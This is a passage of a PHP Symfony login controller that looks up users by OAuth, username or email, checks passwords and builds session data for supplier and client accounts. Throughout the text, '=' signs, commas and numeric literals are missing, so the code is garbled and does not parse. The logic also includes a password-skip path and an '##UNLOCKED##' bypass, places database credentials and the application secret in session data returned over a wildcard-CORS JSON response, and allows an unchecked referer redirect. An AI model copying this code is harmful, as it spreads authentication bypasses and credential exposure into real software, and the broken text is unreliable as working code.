  4377.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4378.                             // Multi-email aware: match the OAuth email against ANY email tagged on
  4379.                             // the account (comma list, email OR oAuthEmail) â€” not exact single value.
  4380.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  4381.                             if (!$user)
  4382.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4383.                         } else {
  4384.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4385.                             if (!$user)
  4386.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  4387.                             if (!$user)
  4388.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4389.                         }
  4390.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4391. //                        if($systemType=='_BUDDYBEE_')
  4392. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4393.                         if (!$user) {
  4394.                             $message "We could not find your username or email";
  4395.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4396.                                 return new JsonResponse(array(
  4397.                                     'uid' => $session->get(UserConstants::USER_ID),
  4398.                                     'session' => $session,
  4399.                                     'success' => false,
  4400.                                     'errorStr' => $message,
  4401.                                     'session_data' => [],
  4402.                                 ));
  4403.                             }
  4404.                             if ($systemType == '_BUDDYBEE_')
  4405.                                 return $this->redirectToRoute("applicant_login", [
  4406.                                     "message" => $message,
  4407.                                     "errorField" => 'username',
  4408.                                 ]);
  4409.                             else if ($systemType == '_CENTRAL_')
  4410.                                 return $this->redirectToRoute("central_login", [
  4411.                                     "message" => $message,
  4412.                                     "errorField" => 'username',
  4413.                                 ]);
  4414.                             else if ($systemType == '_SOPHIA_')
  4415.                                 return $this->redirectToRoute("sophia_login", [
  4416.                                     "message" => $message,
  4417.                                     "errorField" => 'username',
  4418.                                 ]);
  4419.                             else
  4420.                                 return $this->render($redirect_login_page_twig, array(
  4421.                                     "message" => $message,
  4422.                                     'page_title' => "Login",
  4423.                                     'gocList' => $gocDataList,
  4424.                                     'gocId' => $gocId
  4425.                                 ));
  4426.                         }
  4427.                         if ($user) {
  4428.                             if ($oAuthData) {
  4429.                                 // user passed
  4430.                             } else {
  4431.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4432.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4433. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4434. //                                        // user passed
  4435. //                                    } else {
  4436.                                     $message "Oops! Wrong Password";
  4437.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4438.                                         return new JsonResponse(array(
  4439.                                             'uid' => $session->get(UserConstants::USER_ID),
  4440.                                             'session' => $session,
  4441.                                             'success' => false,
  4442.                                             'errorStr' => $message,
  4443.                                             'session_data' => [],
  4444.                                         ));
  4445.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4446.                                         //                    return $response;
  4447.                                     }
  4448.                                     if ($systemType == '_BUDDYBEE_')
  4449.                                         return $this->redirectToRoute("applicant_login", [
  4450.                                             "message" => $message,
  4451.                                             "errorField" => 'password',
  4452.                                         ]);
  4453.                                     else if ($systemType == '_SOPHIA_')
  4454.                                         return $this->redirectToRoute("sophia_login", [
  4455.                                             "message" => $message,
  4456.                                             "errorField" => 'username',
  4457.                                         ]);
  4458.                                     else if ($systemType == '_CENTRAL_')
  4459.                                         return $this->redirectToRoute("central_login", [
  4460.                                             "message" => $message,
  4461.                                             "errorField" => 'username',
  4462.                                         ]);
  4463.                                     else
  4464.                                         return $this->render($redirect_login_page_twig, array(
  4465.                                             "message" => $message,
  4466.                                             'page_title' => "Login",
  4467.                                             'gocList' => $gocDataList,
  4468.                                             'gocId' => $gocId
  4469.                                         ));
  4470.                                 }
  4471.                             }
  4472.                         }
  4473.                         $jd = [];
  4474.                         if ($jd != null && $jd != '' && $jd != [])
  4475.                             $company_id_list $jd;
  4476.                         else
  4477.                             $company_id_list = [];
  4478. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4479. //                        foreach ($company_id_list as $c) {
  4480. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4481. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4482. //                        }
  4483.                     };
  4484.                 } else {
  4485.                     if ($cookieLogin == 1) {
  4486.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4487.                             array(
  4488.                                 'userId' => $userId
  4489.                             )
  4490.                         );
  4491.                     } else if ($encrypedLogin == 1) {
  4492.                         if (in_array($userType, [34]))
  4493.                             $specialLogin 1;
  4494.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4495.                             $user null;
  4496.                             if ($clientId 0) {
  4497.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4498.                                     array(
  4499.                                         'clientId' => $clientId
  4500.                                     )
  4501.                                 );
  4502.                             }
  4503.                             if (!$user) {
  4504.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4505.                                     array(
  4506.                                         'globalUserId' => $globalId
  4507.                                     )
  4508.                                 );
  4509.                             }
  4510. //
  4511.                             if ($user)
  4512.                                 $userId $user->getClientId();
  4513.                             $clientId $userId;
  4514.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4515.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4516.                                 array(
  4517.                                     'globalUserId' => $globalId
  4518.                                 )
  4519.                             );
  4520. //
  4521.                             if ($user)
  4522.                                 $userId $user->getSupplierId();
  4523.                             $supplierId $userId;
  4524.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4525. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4526. //                                array(
  4527. //                                    'globalId' => $globalId
  4528. //                                )
  4529. //                            );
  4530. //
  4531. //                            if($user)
  4532. //                                $userId=$user->getUserId();
  4533. //                            $applicantId = $userId;
  4534.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4535.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4536.                                 array(
  4537.                                     'globalId' => $globalId
  4538.                                 )
  4539.                             );
  4540.                             if ($user)
  4541.                                 $userId $user->getUserId();
  4542.                         }
  4543.                     } else {
  4544.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4545.                             array(
  4546.                                 'userName' => $request->request->get('username')
  4547.                             )
  4548.                         );
  4549.                     }
  4550.                     if (!$user) {
  4551.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4552.                             array(
  4553.                                 'email' => $request->request->get('username'),
  4554.                                 'userName' => [null'']
  4555.                             )
  4556.                         );
  4557.                         if (!$user) {
  4558.                             $message "Wrong User Name";
  4559.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4560.                                 return new JsonResponse(array(
  4561.                                     'uid' => $session->get(UserConstants::USER_ID),
  4562.                                     'session' => $session,
  4563.                                     'success' => false,
  4564.                                     'errorStr' => $message,
  4565.                                     'session_data' => [],
  4566.                                 ));
  4567.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4568.                                 //                    return $response;
  4569.                             }
  4570.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4571.                                 "message" => $message,
  4572.                                 'page_title' => "Login",
  4573.                                 'gocList' => $gocDataList,
  4574.                                 'gocId' => $gocId
  4575.                             ));
  4576.                         } else {
  4577.                             //add the email as username as failsafe
  4578.                             $user->setUserName($request->request->get('username'));
  4579.                             $em->flush();
  4580.                         }
  4581.                     }
  4582.                     if ($user) {
  4583.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4584.                             $message "Sorry, Your Account is Deactivated";
  4585.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4586.                                 return new JsonResponse(array(
  4587.                                     'uid' => $session->get(UserConstants::USER_ID),
  4588.                                     'session' => $session,
  4589.                                     'success' => false,
  4590.                                     'errorStr' => $message,
  4591.                                     'session_data' => [],
  4592.                                 ));
  4593.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4594.                                 //                    return $response;
  4595.                             }
  4596.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4597.                                 "message" => $message,
  4598.                                 'page_title' => "Login",
  4599.                                 'gocList' => $gocDataList,
  4600.                                 'gocId' => $gocId
  4601.                             ));
  4602.                         }
  4603.                     }
  4604.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4605.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4606.                         $message "Wrong Email/Password";
  4607.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4608.                             return new JsonResponse(array(
  4609.                                 'uid' => $session->get(UserConstants::USER_ID),
  4610.                                 'session' => $session,
  4611.                                 'success' => false,
  4612.                                 'errorStr' => $message,
  4613.                                 'session_data' => [],
  4614.                             ));
  4615.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4616.                             //                    return $response;
  4617.                         }
  4618.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4619.                             "message" => $message,
  4620.                             'page_title' => "Login",
  4621.                             'gocList' => $gocDataList,
  4622.                             'gocId' => $gocId
  4623.                         ));
  4624.                     }
  4625.                     $userType $user->getUserType();
  4626.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4627.                     if ($jd != null && $jd != '' && $jd != [])
  4628.                         $company_id_list $jd;
  4629.                     else
  4630.                         $company_id_list = [$user->getUserCompanyId()];
  4631.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4632.                     foreach ($company_id_list as $c) {
  4633.                         if (isset($companyList[$c])) {
  4634.                             $company_name_list[$c] = $companyList[$c]['name'];
  4635.                             $company_image_list[$c] = $companyList[$c]['image'];
  4636.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4637.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4638.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4639.                         }
  4640.                     }
  4641.                 }
  4642. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4643.                 if ($remember_me == 1)
  4644.                     $session->set('REMEMBERME'1);
  4645.                 else
  4646.                     $session->set('REMEMBERME'0);
  4647.                 $config = array(
  4648.                     'firstLogin' => $firstLogin,
  4649.                     'rememberMe' => $remember_me,
  4650.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4651.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4652.                     'applicationSecret' => $this->container->getParameter('secret'),
  4653.                     'gocId' => $gocId,
  4654.                     'appId' => $appIdFromUserName,
  4655.                     'gocDbName' => $gocDbName,
  4656.                     'gocDbUser' => $gocDbUser,
  4657.                     'gocDbHost' => $gocDbHost,
  4658.                     'gocDbPass' => $gocDbPass
  4659.                 );
  4660.                 $product_name_display_type 0;
  4661.                 if ($systemType != '_CENTRAL_') {
  4662.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4663.                         'name' => 'product_name_display_method'
  4664.                     ));
  4665.                     if ($product_name_display_settings)
  4666.                         $product_name_display_type $product_name_display_settings->getData();
  4667.                 }
  4668.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4669.                     $userCompanyId 1;
  4670.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4671.                     if (isset($companyList[$userCompanyId])) {
  4672.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4673.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4674.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4675.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4676.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4677.                     }
  4678.                     // General User
  4679.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4680.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4681.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4682.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4683.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4684.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4685.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4686.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4687.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4688.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4689.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4690.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4691.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4692.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4693.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4694.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4695.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4696.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4697.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4698.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4699.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4700.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4701.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4702.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4703.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4704.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4705.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4706.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4707.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4708.                     //                $PL=json_decode($user->getPositionIds(), true);
  4709.                     $route_list_array = [];
  4710.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4711.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4712.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4713.                     $loginID 0;
  4714.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4715.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4716.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4717.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4718.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4719.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4720.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4721.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4722.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4723.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4724.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4725.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4726.                         $session->set('remoteVerified'1);
  4727.                         $session_data = array(
  4728.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4729.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4730.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4731.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4732.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4733.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4734.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4735.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4736.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4737.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4738.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4739.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4740.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4741.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4742.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4743.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4744.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4745.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4746.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4747.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4748.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4749.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4750.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4751.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4752.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4753.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4754.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4755.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4756.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4757.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4758.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4759.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4760.                         );
  4761.                         $session_data $this->filterClientSessionData($session_data);
  4762.                         $response = new JsonResponse(array(
  4763.                             'uid' => $session->get(UserConstants::USER_ID),
  4764.                             'session' => $session,
  4765.                             'success' => true,
  4766.                             'session_data' => $session_data,
  4767.                         ));
  4768.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4769.                         return $response;
  4770.                     }
  4771.                     if ($request->request->has('referer_path')) {
  4772.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4773.                             return $this->redirect($request->request->get('referer_path'));
  4774.                         }
  4775.                     }
  4776.                     //                    if($request->request->has('gocId')
  4777.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4778.                     return $this->redirectToRoute("supplier_dashboard");
  4779.                     //                    else
  4780.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4781.                 }
  4782.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4783.                     // General User
  4784.                     $userCompanyId 1;
  4785.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4786.                     if (isset($companyList[$userCompanyId])) {
  4787.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4788.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4789.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4790.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4791.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4792.                     }
  4793.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4794.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4795.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4796.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4797.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4798.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4799.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4800.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4801.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4802.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4803.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4804.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4805.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4806.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4807.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4808.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4809.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4810.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4811.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4812.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4813.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4814.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4815.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4816.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4817.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4818.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4819.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4820.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4821.                     //                $PL=json_decode($user->getPositionIds(), true);
  4822.                     $route_list_array = [];
  4823.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4824.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4825.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4826.                     $loginID 0;
  4827.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4828.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4829.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4830.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4831.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4832.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4833.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4834.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4835.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4836.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4837.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4838.                     $session_data = array(
  4839.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4840.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4841.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4842.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4843.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4844.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4845.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4846.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4847.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4848.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4849.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4850.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4851.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4852.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4853.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4854.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4855.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4856.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4857.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4858.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4859.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4860.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4861.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4862.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4863.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4864.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4865.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4866.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4867.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4868.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4869.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4870.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4871.                     );
  4872.                     $session_data $this->filterClientSessionData($session_data);
  4873.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4874.                     $session_data $tokenData['sessionData'];
  4875.                     $token $tokenData['token'];
  4876.                     $session->set('token'$token);
  4877.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4878.                         $session->set('remoteVerified'1);
  4879.                         $response = new JsonResponse(array(
  4880.                             'uid' => $session->get(UserConstants::USER_ID),
  4881.                             'session' => $session,
  4882.                             'token' => $token,
  4883.                             'success' => true,
  4884.                             'session_data' => $session_data,
  4885.                         ));
  4886.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4887.                         return $response;
  4888.                     }
  4889.                     if ($request->request->has('referer_path')) {
  4890.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4891.                             return $this->redirect($request->request->get('referer_path'));
  4892.                         }
  4893.                     }
  4894.                     //                    if($request->request->has('gocId')
  4895.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4896.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4897.                     //                    else
  4898.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4899.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4900.                     // System administrator
  4901.                     // System administrator have successfully logged in. Lets add a login ID.
  4902.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4903.                         ->findOneBy(
  4904.                             array(
  4905.                                 'userId' => $user->getUserId()
  4906.                             )
  4907.                         );
  4908.                     if ($employeeObj) {
  4909.                         $employeeId $employeeObj->getEmployeeId();
  4910.                         $epositionId $employeeObj->getPositionId();
  4911.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
